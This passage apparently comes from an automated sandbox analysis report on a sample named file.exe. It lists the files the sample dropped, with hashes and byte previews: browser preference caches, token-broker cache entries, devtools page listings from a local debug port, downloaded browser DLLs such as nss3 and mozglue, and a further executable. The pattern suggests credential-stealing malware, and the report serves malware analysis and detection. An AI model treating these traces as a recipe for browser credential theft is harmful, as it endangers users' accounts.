MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.987996645210315
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXzTaPV:YWLSGTt1o9LuLgfGBPAzkVj/T8ljTa9
MD5:	6443760652B627E27607B6225D88DC3B
SHA1:	420BEA99759D3B48468CFF87FBE9BC2465FBD818
SHA-256:	B7585D77DCB6E28CE218C28FE843EC85B0AF908DA1C25C7DAB2CC043010B732B
SHA-512:	D3F9E4138198ACE83895A4A5FB781D3152EB439D46B51A285266CB965DCDE52E8B414512AD2C60F217B5C12044EF0F5008B8957012AB508338F02DF6E5F4B259
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732241566199111}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b7ad27b3-6014-4913-822e-35af74ecd894.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46172
Entropy (8bit):	6.086876031037253
Encrypted:	false
SSDEEP:	768:lHMkbJrT8IeQcrQgxavuKKGf4m+umFo3F3PdEAgl7YEnn6CioJ7DRo+yM/42cRaX:1Mk1rT8HRah+xrl1n6FoJ7VLyMV/Yoss
MD5:	C2F7249A985A8D7B0731A37935E7C6BE
SHA1:	3F12F774DFA92E1FF36BC470FDA5C776FFAC981A
SHA-256:	A68A21001AAA07E2CAEAF68DEEC1AE116488358ECCDAC0272A5970E04B608F81
SHA-512:	11BF8EBB1AAE53E84802E10B681908D428A287B8C28902DBBA1626E42E7A973EE5180AC7A5B779931D3B7490B49521D782A44B1A7C4BBC232A7CF1BC932521ED
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"b02129a7-19fb-4ae2-afcd-35a718bf62ce"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732140765"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c8e96c79-c75c-4439-86d8-dbededbf8a18.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44703
Entropy (8bit):	6.094924630312987
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kvFKKGf4m+um3Flud/oZBN7DRo+yM/42cRaLMoskCiG:z/Ps+wsI7yn6+xrN7VLyMV/YoskFoz
MD5:	C1FC2FEF80F932E77AAC7C7D1545AB8D
SHA1:	2F57A21CA727BFFD83AC950677C96B474847ACD3
SHA-256:	5D6B6DB32251322D69D1316909C3B3D779CC7A13D949DECD09B3A941AC710C6A
SHA-512:	0435A115F7ABA4754550C4054FF9EF2820284F41E96FAC7D6D9328595A0D1FF37B28000B8BED39E8A51942EC9BC75FE6FAB2E0E27173DDBD1F88B83DFF7739CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dd6b8e0c-ae65-44af-9298-bf4831f05977.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46219
Entropy (8bit):	6.0866494183973785
Encrypted:	false
SSDEEP:	768:lHMkbJrT8IeQcrQgxajuKKGf4m+umFo3F3PdEAgl7YEnn6CioJ7DRo+yM/42cRaX:1Mk1rT8HRaV+xrl1n6FoJ7VLyMV/Yoss
MD5:	9C26841F354C11B02B3BE1CBAE385800
SHA1:	011FB2100DDEB4C0D4FA000C4F6CB3E7C2EBDBA7
SHA-256:	45822358B4E5B6CB6DA9801AC4BC24FE479F1373FAC5D42668519F2AF3975485
SHA-512:	A46414AD6169D3D8D9FC259B7CDD4B13F30232148DBCABDE296E13D158B3CC38C4C3AA47620AFD3D660619E8D712CE64185A47804BD244379FC54022127F25DB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"b02129a7-19fb-4ae2-afcd-35a718bf62ce"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732140765"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f0c16e03-9d90-4f78-b610-f91dede6e37b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46296
Entropy (8bit):	6.086574597480566
Encrypted:	false
SSDEEP:	768:lHMkbJrT8IeQcrQgRnjuKKGf4m+ummo3F3PdEAgl7YEnn6CioJ7DRo+yM/42cRaX:1Mk1rT8HxnV+xkl1n6FoJ7VLyMV/Yoss
MD5:	4A77FE523160081797C8327F08B7AC61
SHA1:	B2FF54EA1F7148B3CACABA36F3173D3EE2EB59B7
SHA-256:	99F67F8D1066014A50AF32EF776CC3241FA9BA22F636A6256599DA416AC39733
SHA-512:	49DBB3D09714A36C6777A5E48E56ED98C1D192D2DA637F89841A6C1CD9052806EF65A8D12D2016E22EFCFD13090D8EAFD4CB2F1C5675EFCED5303F86654B5BC9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"b02129a7-19fb-4ae2-afcd-35a718bf62ce"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732140765"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.847736179252278
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxXxl9Il8unV8H0EmXa0qYhd1rc:meYBiUE10M
MD5:	65320C11B3B56CB79258381397B923C9
SHA1:	38F9B572FDBCD76EAA6C657117D221E357B82D9F
SHA-256:	3865407F127BFE0C1E7BDB2CEE454FE06CA63C5EEDFFF119274C1849C784B94B
SHA-512:	24C0744886A94B1E0447CF05D701436D5B680FF00CDA5915B20A0B77B53816D9912111E50A530522D8D08E58D7EE43DD2E53338FA03B517D9B04624350378467
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.D.5.n.t.K.E.7.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.l.Q.E.M.1.1.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.992276741271371
Encrypted:	false
SSDEEP:	48:uiTrlKxExmxD9Il8unmFU56RJPS8RqeHqTxEToiRcCpNrfHTdk09lAtkGFAy2lda:cYBCtRNciWCu09lAV4/59llrxPoJB
MD5:	2EC01E1D66A81D3D42B0D88EC85BF943
SHA1:	787006E46AAA344475717C380DF7D48AE6F6FB52
SHA-256:	C825B0248AFDA6B5D54360BDB1412B54C94128D0B9CE480D48E7C82BF9AD5CE3
SHA-512:	11AB1271F8E77E929EE91CDE2AE0A89499A08D14849B2173F8652250F55D70904D4DCF3536BA4DE37578C29E99AE14BE8FF240279F78CFEBDA244AB7F2A99113
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.i.l.F.m.p.k.7.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.l.Q.E.M.1.1.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8927749340985445
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xGDxl9Il8unh3qiL4OXKea9QLd/vc:aoYBh3Yegn
MD5:	70C7E20A81A49CF2DCE2416D07F4B7F0
SHA1:	ACFF882838EABF328CDD9269D25FA0A50C395950
SHA-256:	7DF19D194E06B755B466F8D2A2A9E6C3E076BEA3E7CE444F61F4D25855ACC7E0
SHA-512:	CA9358890649185BB2A07BFC1D6AA6D546E35362171EA72A36EC43762AA77FB3E78C9709DF21CD41409C0BCF8F9ED6366EC27ED9BB14A6B7BD5E86F21D40666F
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".T.4.x.m.y.2.p.a.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.l.Q.E.M.1.1.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.391266523338897
Encrypted:	false
SSDEEP:	96:6NnQupPHQuQNnQwbQhNnQkyYyg9QkyDNnQ9dgEQsNnQIQoNnQMDQuNnQgwQ6NnQZ:6NWNoN7yYymyDNsJNzN5FN/eNIdlVf
MD5:	5463284CDCAE53B5143135CB54A7D304
SHA1:	7A67D804497FFF4C525D7CACDC558309481AA212
SHA-256:	B5AAAAB4A3AAC6E60FCE5586382154BD5509CE1DB89D74C0BDA0CC3C203E15B0
SHA-512:	0E10464979B651E5F2DDBCD78B08E50739DB84C47DA1E293A996C8107084776E5AD855F844200DAB29E74D0732FFCA188BC595B68D70C043390E609E7E4013D4
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/74413BF5E77F0A2CB96BD15560B0EA36",.. "id": "74413BF5E77F0A2CB96BD15560B0EA36",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/74413BF5E77F0A2CB96BD15560B0EA36"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/B19C80403931D5F22AD9C2086EAA52C4",.. "id": "B19C80403931D5F22AD9C2086EAA52C4",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/B19C80403931D5F22AD9C2086EAA52C4"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.366632066685465
Encrypted:	false
SSDEEP:	48:SfNaoQVTEQ9fNaoQSjQifNaoQy4/QytfNaoQTWr0UrU0U8QTI:6NnQVTEQpNnQSjQKNnQy4/QyZNnQ6r0k
MD5:	696F3DAD9B2774E549C6D65929F75788
SHA1:	8E83D0FD76E3507850C7179B9015620E26A75618
SHA-256:	FCF7D2D03EC3D26556A053DD6F93AAE349415D48B418BF42145B743B979E90C8
SHA-512:	686841B7658269C382FF590D065E9D6E96CD0B32DDC96D8570D4CA244F97789BB53768D4AB971F5820E2CD1B1C26374CEBAFF3479594738C621FFF07A35FE642
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/5A47538C22AA699D7820BC7CADF3FDB8",.. "id": "5A47538C22AA699D7820BC7CADF3FDB8",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/5A47538C22AA699D7820BC7CADF3FDB8"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/425C9EE6315199E9984E3B71C2F33EB7",.. "id": "425C9EE6315199E9984E3B71C2F33EB7",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/425C9EE6315199E9984E3B71C2F33EB7"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

